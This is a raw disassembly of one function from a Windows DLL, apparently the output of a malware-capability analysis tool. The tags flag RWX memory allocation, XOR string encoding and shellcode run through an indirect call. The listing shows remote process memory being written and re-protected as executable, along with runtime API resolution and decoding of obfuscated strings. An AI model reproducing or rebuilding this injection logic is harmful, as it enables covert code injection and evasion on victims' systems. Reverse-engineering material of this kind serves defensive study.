Function at 0x1800226d0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
mov rax, rsp
mov qword [rax + 0x20], r9
mov qword [rax + 0x18], r8
mov qword [rax + 0x10], rdx
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x1e8]
sub rsp, 0x2a8
movaps xmmword [rax - 0x58], xmm6
mov r12, r9
mov r13, r8
mov rbx, rdx
xor esi, esi
mov rdi, qword [rcx + 0x18]
lea rax, [rdi - 1]
cmp rax, 0xfffffffffffffffd
ja 0x180023a47
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8, qword [rdx + 0x10]
xor edx, edx
mov rcx, rdi
call fcn.180016eb0
mov r15, rax
mov qword [rsp + 0x78], rax
test rax, rax
jne 0x180022787
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x18002277d
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x180022778
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180023ab3
mov rcx, r8
call fcn.1800d9c1c
mov eax, 0xbb9
jmp 0x180023a82
mov r14, qword [rbx + 0x10]
mov rsi, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x180022798
mov rsi, qword [rbx]
mov rax, qword [0x1803ad4d8]
cmp dword [rax + 0x30], 0
je 0x180022822
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
cmp rdi, rax
je 0x1800227bf
test rdi, 0xffffffffa0000000
je 0x1800227bf
test dil, 3
je 0x1800227d9
xor r10d, r10d
mov qword [rsp + 0x20], r10
mov r9, r14
mov r8, rsi
mov rdx, r15
mov rcx, rdi
call qword [0x1803adaa8]
xor eax, eax
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x18], rax
mov qword [rbp - 8], rax
mov qword [rbp], rax
mov qword [rbp + 8], 0x25
mov qword [rbp - 0x38], rdi
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x28], rsi
mov qword [rbp - 0x10], r14
xor esi, esi
mov qword [rbp - 0x20], rsi
lea rdx, [rbp - 0x40]
lea ecx, [rax + 0xe]
call fcn.1800340f0
mov dword [0x1803adc20], eax
test eax, eax
sete al
jmp 0x180022843
xor r10d, r10d
mov qword [rsp + 0x20], r10
mov r9, r14
mov r8, rsi
mov rdx, r15
mov rcx, rdi
call qword [sym.imp.ntdll.dll_NtWriteVirtualMemory]
test eax, eax
sete al
xor esi, esi
test al, al
jne 0x1800228a0
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r15
mov rcx, rdi
call fcn.18001c310
nop
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x180022896
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x180022891
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180023ab3
mov rcx, r8
call fcn.1800d9c1c
mov eax, 0xbba
jmp 0x180023a82
mov r15, rsi
mov qword [rsp + 0x48], rsi
mov rax, qword [0x1803ad4d8]
cmp dword [rax + 0x20], 1
jne 0x180023098
mov r13d, 0xbbb
lea rdx, [rbp + 0x1f0]
lea rcx, [rbp - 0x60]
call fcn.1800c0fc0
nop
mov rax, qword [rbp - 0x60]
mov qword [rbp + 0x1f0], rax
cmp rax, qword [rbp - 0x58]
je 0x180022ebc
lea r14, [rax + 0x30]
mov r15d, 8
mov r12d, reloc.WS2_32.dll_WSAStartup
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
mov qword [rbp + 0x40], rsi
mov qword [rbp + 0x48], rsi
lea rdx, [r14 + 0x200]
mov r8, 0xffffffffffffffff
inc r8
cmp word [rdx + r8*2], 0
jne 0x180022912
lea rcx, [rbp + 0x30]
call fcn.180008fb0
lea rdx, [rbp + 0x30]
lea rcx, [rsp + 0x58]
call fcn.1800bd6b0
nop
movups xmm0, xmmword [0x180183458]
movups xmmword [rsp + 0x30], xmm0
movzx eax, word [0x180183468]
mov word [rsp + 0x30], r12w
xor word [rsp + 0x32], 0x39
xor word [rsp + 0x34], 0x3a
xor word [rsp + 0x36], 0x3b
xor word [rsp + 0x38], 0x3c
xor word [rsp + 0x3a], 0x3d
xor word [rsp + 0x3c], 0x3e
xor word [rsp + 0x3e], 0x3f
xor ax, 0x40
mov word [rsp + 0x40], ax
lea rcx, [rsp + 0x30]
mov rax, 0xffffffffffffffff
nop dword [rax]
inc rax
cmp word [rcx + rax*2], 0
jne 0x180022990
lea rcx, [rsp + 0x58]
mov r12, qword [rsp + 0x70]
cmp r12, 7
seta r13b
mov rsi, qword [rsp + 0x58]
cmova rcx, rsi
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x30]
xor r8d, r8d
mov rdx, qword [rsp + 0x68]
call fcn.180015b90
cmp rax, 0xffffffffffffffff
je 0x180022a10
test r13b, r13b
je 0x180022e70
lea rdx, [r12*2 + 2]
mov rax, rsi
cmp rdx, 0x1000
jb 0x180022a08
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180023abf
mov rcx, rsi
jmp 0x180022e6b
xorps xmm0, xmm0
movups xmmword [rbp + 0x50], xmm0
xor r13d, r13d
mov qword [rbp + 0x60], r13
mov qword [rbp + 0x68], r13
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp word [r14 + r8*2], r13w
jne 0x180022a30
mov rdx, r14
lea rcx, [rbp + 0x50]
call fcn.180008fb0
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x70]
call fcn.1800bd6b0
nop
movups xmm3, xmmword [str.SHUYQ_r_rn_._D]
movups xmmword [rbp + 0x10], xmm3
movsd xmm0, qword [0x180183490]
movsd qword [rbp + 0x20], xmm0
movzx eax, word [0x180183498]
mov word [rbp + 0x28], ax
mov ecx, r13d
mov r9d, dword [reloc.WS2_32.dll_accept]
cmp r9d, 2
jl 0x180022b6f
movdqa xmm4, xmmword [0x180187670]
movdqa xmm2, xmmword [0x180187330]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x180187410]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmmword [0x180187490]
movq xmm1, xmm3
xorps xmm2, xmm1
movq qword [rbp + 0x10], xmm2
movdqa xmm3, xmmword [0x180187370]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x180187410]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmmword [0x180187490]
movq xmm0, qword [rbp + 0x18]
xorps xmm2, xmm0
movq qword [rbp + 0x18], xmm2
mov ecx, r15d
movsxd rax, ecx
lea r8, [rbp + 0x10]
lea r8, [r8 + rax*2]
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul edx, eax, 0x3a
movzx eax, cx
sub ax, dx
add ax, 0x38
xor word [r8], ax
inc ecx
lea r8, [r8 + 2]
cmp ecx, 0xd
jl 0x180022b80
lea rcx, [rbp + 0x10]
mov rax, 0xffffffffffffffff
nop dword [rax]
inc rax
cmp word [rcx + rax*2], 0
jne 0x180022bc0
lea r8, [rbp + 0x70]
mov rsi, qword [rbp + 0x70]
mov r12, qword [rbp + 0x88]
cmp r12, 7
cmova r8, rsi
mov rdx, qword [rbp + 0x80]
cmp rdx, rax
jne 0x180022df2
lea rcx, [rbp + 0x10]
test rdx, rdx
je 0x180022c19
lea rax, [rbp + 0x10]
sub r8, rax
movzx eax, word [r8 + rcx]
cmp ax, word [rcx]
jne 0x180022df2
add rcx, 2
sub rdx, 1
jne 0x180022c01
movsd xmm0, qword [str.tV__pTM_3_]
movsd qword [rsp + 0x30], xmm0
mov eax, dword [0x180183450]
mov dword [rsp + 0x38], eax
movzx eax, byte [0x180183454]
mov byte [rsp + 0x3c], al
xor r10d, r10d
mov r8d, r10d
cmp r9d, 2
jl 0x180022d4d
movdqa xmm4, xmmword [0x180187670]
movdqa xmm2, xmmword [0x180187330]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x180187410]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1801874b0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.88888888888888889999999999999999]
movd xmm0, dword [str.tV__pTM_3_]
xorps xmm2, xmm0
movd dword [rsp + 0x30], xmm2
movdqa xmm3, xmmword [0x180187370]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x180187410]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1801874b0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.88888888888888889999999999999999]
movd xmm0, dword [rsp + 0x34]
xorps xmm2, xmm0
movd dword [rsp + 0x34], xmm2
mov r8d, r15d
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x180022d60
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
mov qword [rbp + 0x40], r10
mov qword [rbp + 0x48], r10
lea rax, [rsp + 0x30]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], r10b
jne 0x180022db0
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x30]
call fcn.1800091d0
mov r14, qword [rbp + 0x1f0]
lea rdx, [r14 + 0x230]
lea rcx, [rbp + 0x30]
call fcn.1800c29d0
test eax, eax
je 0x180022f10
mov r15d, eax
add r15, qword [r14 + 0x18]
jmp 0x180022f1b
cmp r12, 7
jbe 0x180022e2e
lea rdx, [r12*2 + 2]
mov rax, rsi
cmp rdx, 0x1000
jb 0x180022e25
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180023ab9
mov rcx, rsi
call fcn.1800d9c1c
nop
mov rdx, qword [rsp + 0x70]
cmp rdx, 7
jbe 0x180022e70
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180022e6b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180023abf
call fcn.1800d9c1c
xor esi, esi
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x70], 7
mov word [rsp + 0x58], si
mov rax, qword [rbp + 0x1f0]
add rax, 0x438
mov qword [rbp + 0x1f0], rax
add r14, 0x438
cmp rax, qword [rbp - 0x58]
jne 0x1800228ef
mov r13d, 0xbbb
mov r15, qword [rsp + 0x48]
mov r12, qword [rbp + 0x208]
lea rcx, [rbp - 0x60]
call fcn.1800156d0
test r13d, r13d
je 0x180022fb3
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x180022f08
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x180022f03
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180023ab3
mov rcx, r8
call fcn.1800d9c1c
mov eax, r13d
jmp 0x180023a82
mov r13d, 0xbbc
mov r15, qword [rsp + 0x48]
cmp r12, 7
jbe 0x180022f57
lea rdx, [r12*2 + 2]
mov rax, rsi
cmp rdx, 0x1000
jb 0x180022f4e
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180023ab9
mov rcx, rsi
call fcn.1800d9c1c
nop
mov rdx, qword [rsp + 0x70]
cmp rdx, 7
jbe 0x180022f99
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180022f94
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180023abf
call fcn.1800d9c1c
xor esi, esi
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x70], 7
mov word [rsp + 0x58], si
jmp 0x180022eb5
mov r13, qword [rbp + 0x200]
mov r8, qword [rsp + 0x78]
mov rdx, r15
mov rcx, rdi
call fcn.180015a30
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x78]
mov rcx, rdi
call fcn.18001c310
mov r14, qword [rbx + 0x10]
mov rsi, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x180022ffc
mov rsi, qword [rbx]
test r14, r14
je 0x180023470
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x90], xmm0
movups xmmword [rbp + 0xa0], xmm0
movups xmmword [rbp + 0xb0], xmm0
movups xmmword [rbp + 0xc0], xmm0
movups xmmword [rbp + 0xd0], xmm0
mov qword [rbp + 0xe0], rax
mov dword [rbp + 0xe8], eax
xor edx, edx
mov r8d, 0xa3
lea rcx, [rbp + 0xed]
call fcn.18010bd80
mov byte [rbp + 0xec], 1
lea rax, [r14 - 1]
mov rcx, 0xffffffffffffffff
cmp rax, rcx
cmovb rcx, rax
add rcx, rsi
movzx eax, byte [rcx]
cmp byte [rbp + rax + 0x90], 0
jne 0x180023090
cmp rcx, rsi
je 0x180023470
dec rcx
movzx eax, byte [rcx]
cmp byte [rbp + rax + 0x90], 0
je 0x180023077
sub rcx, rsi
jmp 0x180023477
movsd xmm0, qword [str.sHUYQ_r_rn_._D]
movsd qword [rsp + 0x48], xmm0
mov eax, dword [0x180183478]
mov dword [rsp + 0x50], eax
movzx eax, byte [0x18018347c]
mov byte [rsp + 0x54], al
mov r15d, 8
mov esi, dword [reloc.WS2_32.dll_accept]
cmp esi, 2
jl 0x1800231dc
movdqa xmm4, xmmword [0x180187670]
movdqa xmm2, xmmword [0x180187330]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x180187410]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1801874b0]
packuswb xmm2, xmm2
mov eax, dword [str.88888888888888889999999999999999]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.sHUYQ_r_rn_._D]
xorps xmm2, xmm0
movd dword [rsp + 0x48], xmm2
movdqa xmm3, xmmword [0x180187370]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x180187410]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1801874b0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x4c]
xorps xmm2, xmm1
movd dword [rsp + 0x4c], xmm2
mov r8d, r15d
xor r14d, r14d
jmp 0x1800231e2
xor r14d, r14d
mov r8d, r14d
mov eax, r8d
lea r9, [rsp + 0x48]
add r9, rax
nop dword [rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1800231f0
lea rcx, [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r9, rax
test rax, rax
jne 0x180023289
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x180023270
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x18002326b
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180023ab3
mov rcx, r8
call fcn.1800d9c1c
mov qword [rbx + 0x10], r14
mov qword [rbx + 0x18], send
mov byte [rbx], 0
mov eax, 0xbbb
jmp 0x180023a91
movsd xmm0, qword [str.tV__pTM_3_]
movsd qword [rsp + 0x30], xmm0
mov eax, dword [0x180183450]
mov dword [rsp + 0x38], eax
movzx eax, byte [0x180183454]
mov byte [rsp + 0x3c], al
cmp esi, 2
jl 0x1800233bb
movdqa xmm4, xmmword [0x180187670]
movdqa xmm2, xmmword [0x180187330]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x180187410]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1801874b0]
packuswb xmm2, xmm2
mov eax, dword [str.88888888888888889999999999999999]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.tV__pTM_3_]
xorps xmm2, xmm0
movd dword [rsp + 0x30], xmm2
movdqa xmm3, xmmword [0x180187370]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x180187410]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1801874b0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x34]
xorps xmm2, xmm1
movd dword [rsp + 0x34], xmm2
jmp 0x1800233be
mov r15d, r14d
mov eax, r15d
lea r8, [rsp + 0x30]
add r8, rax
nop dword [rax]
mov eax, 0x8d3dcb09
imul r15d
add edx, r15d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r15b
sub al, cl
add al, 0x38
xor byte [r8], al
inc r15d
lea r8, [r8 + 1]
cmp r15d, 0xd
jl 0x1800233d0
lea rdx, [rsp + 0x30]
mov rcx, r9
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r15, rax
test rax, rax
jne 0x180022fba
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x180023457
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x180023452
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180023ab3
mov rcx, r8
call fcn.1800d9c1c
mov qword [rbx + 0x10], r14
mov qword [rbx + 0x18], send
mov byte [rbx], 0
mov eax, 0xbbc
jmp 0x180023a91
mov rcx, 0xffffffffffffffff
inc rcx
mov r8, r14
sub r8, rcx
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xor r15d, r15d
mov qword [rbp - 0x70], r15
mov qword [rbp - 0x68], r15
cmp r14, rcx
jb 0x180023ac5
mov rax, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x1800234a8
mov rax, qword [rbx]
lea rdx, [rax + rcx]
lea rcx, [rbp - 0x80]
call fcn.1800091d0
nop
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
mov r14, rax
lea rax, [rsp + 0x58]
mov qword [rbp + 0x1f0], rax
nop word [rax + rax]
lea r8, [rbp - 0x80]
cmp qword [rbp - 0x68], 0xf
seta r9b
cmova r8, qword [rbp - 0x80]
mov rcx, qword [rbp - 0x70]
add rcx, r8
lea rax, [rbp - 0x80]
test r9b, r9b
cmovne rax, qword [rbp - 0x80]
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], r15
mov qword [rbp - 0x48], r15
cmp rax, rcx
jne 0x18002352d
mov qword [rbp - 0x50], r15
mov eax, 7
mov qword [rbp - 0x48], rax
mov word [rbp - 0x60], r15w
jmp 0x180023543
sub rcx, rax
mov r9, rcx
mov rdx, rax
lea rcx, [rbp - 0x60]
call fcn.180018890
mov rax, qword [rbp - 0x48]
lea rdx, [rbp - 0x60]
cmp rax, 7
cmova rdx, qword [rbp - 0x60]
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], r15
mov qword [rsp + 0x70], r15
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp word [rdx + r8*2], 0
jne 0x180023570
lea rcx, [rsp + 0x58]
call fcn.180008fb0
nop
mov rax, qword [0x1803ad4d8]
cmp dword [rax + 0x30], 0
setne r9b
mov esi, dword [rax + 0x20]
cmp esi, 2
sete r8b
lea rdx, [rsp + 0x58]
cmp qword [rsp + 0x70], 7
cmova rdx, qword [rsp + 0x58]
mov byte [rsp + 0x20], 0
mov rcx, rdi
call fcn.180039560
test rax, rax
jne 0x1800235c7
mov rsi, r15
jmp 0x1800235de
mov rcx, rax
cmp esi, 2
je 0x1800235d4
mov esi, dword [rax + 0x18]
jmp 0x1800235d8
mov rsi, qword [rax + 0x30]
call fcn.1800e5ff8
nop
mov rdx, qword [rsp + 0x70]
cmp rdx, 7
jbe 0x180023620
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18002361b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180023acb
call fcn.1800d9c1c
mov qword [rsp + 0x68], r15
mov qword [rsp + 0x70], 7
mov word [rsp + 0x58], r15w
mov rdx, qword [rbp - 0x48]
cmp rdx, 7
jbe 0x180023674
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18002366f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180023ad1
call fcn.1800d9c1c
test rsi, rsi
jne 0x180023730
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
sub rax, r14
cmp rax, 0x1388
jbe 0x1800234e0
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x1800236cd
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800236c8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180023aad
call fcn.1800d9c1c
mov qword [rbp - 0x70], r15
mov qword [rbp - 0x68], send
mov byte [rbp - 0x80], 0
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x180023717
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x180023712
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180023ab3
mov rcx, r8
call fcn.1800d9c1c
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], send
mov byte [rbx], 0
mov eax, 0xbbd
jmp 0x180023a91
test r13, r13
je 0x1800239af
test r12, r12
je 0x1800239af
mov qword [rsp + 0x78], rsi
mov dword [rbp + 0x1f0], r15d
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
lea r14, [rax + 0x2710]
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
cmp rax, r14
ja 0x180023911
nop word [rax + rax]
mov qword [rsp + 0x30], r12
lea rax, [rsp + 0x78]
mov qword [rsp + 0x48], rax
mov rax, qword [0x1803ad4d8]
cmp dword [rax + 0x30], 0
je 0x180023834
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
cmp rdi, rax
je 0x180023804
test rdi, 0xffffffffa0000000
je 0x180023804
test dil, 3
jne 0x180023804
mov qword [rbp - 0x40], r15
mov qword [rbp - 0x28], r15
mov qword [rbp - 0x10], r15
mov qword [rbp - 4], r15
mov dword [rbp + 4], r15d
mov qword [rbp + 8], 0x25
mov qword [rbp - 0x38], rdi
lea rax, [rsp + 0x48]
mov qword [rbp - 0x30], rax
lea rax, [rsp + 0x30]
mov qword [rbp - 0x20], rax
mov dword [rbp - 8], 0x40
lea rax, [rbp + 0x1f0]
mov qword [rbp - 0x18], rax
lea rdx, [rbp - 0x40]
mov ecx, listen
call fcn.1800340f0
mov dword [0x1803adc20], eax
jmp 0x180023859
mov rax, qword [0x1803adac8]
lea rcx, [rbp + 0x1f0]
mov qword [rsp + 0x20], rcx
mov r9d, 0x40
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x48]
mov rcx, rdi
call rax
mov dword [0x1803adc20], eax
jmp 0x180023859
lea rax, [rbp + 0x1f0]
mov qword [rsp + 0x20], rax
mov r9d, 0x40
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x48]
mov rcx, rdi
call qword [sym.imp.ntdll.dll_NtProtectVirtualMemory]
mov rsi, qword [rsp + 0x78]
mov rax, qword [0x1803ad4d8]
cmp dword [rax + 0x30], 0
je 0x1800238de
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
cmp rdi, rax
je 0x180023885
test rdi, 0xffffffffa0000000
je 0x180023885
test dil, 3
je 0x18002389c
mov qword [rsp + 0x20], r15
mov r9, r12
mov r8, r13
mov rdx, rsi
mov rcx, rdi
call qword [0x1803adaa8]
mov qword [rbp - 0x40], r15
mov qword [rbp - 0x18], r15
mov qword [rbp - 8], r15
mov qword [rbp], r15
mov qword [rbp + 8], 0x25
mov qword [rbp - 0x38], rdi
mov qword [rbp - 0x30], rsi
mov qword [rbp - 0x28], r13
mov qword [rbp - 0x10], r12
mov qword [rbp - 0x20], r15
lea rdx, [rbp - 0x40]
mov ecx, recv
call fcn.1800340f0
mov dword [0x1803adc20], eax
jmp 0x1800238f5
mov qword [rsp + 0x20], r15
mov r9, r12
mov r8, r13
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.ntdll.dll_NtWriteVirtualMemory]
test eax, eax
sete al
test al, al
jne 0x1800239af
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
cmp rax, r14
jbe 0x180023770
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x18002394c
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180023947
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180023ad7
call fcn.1800d9c1c
mov qword [rbp - 0x70], r15
mov qword [rbp - 0x68], send
mov byte [rbp - 0x80], 0
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x180023996
inc rdx
mov rcx, qword [rbx]
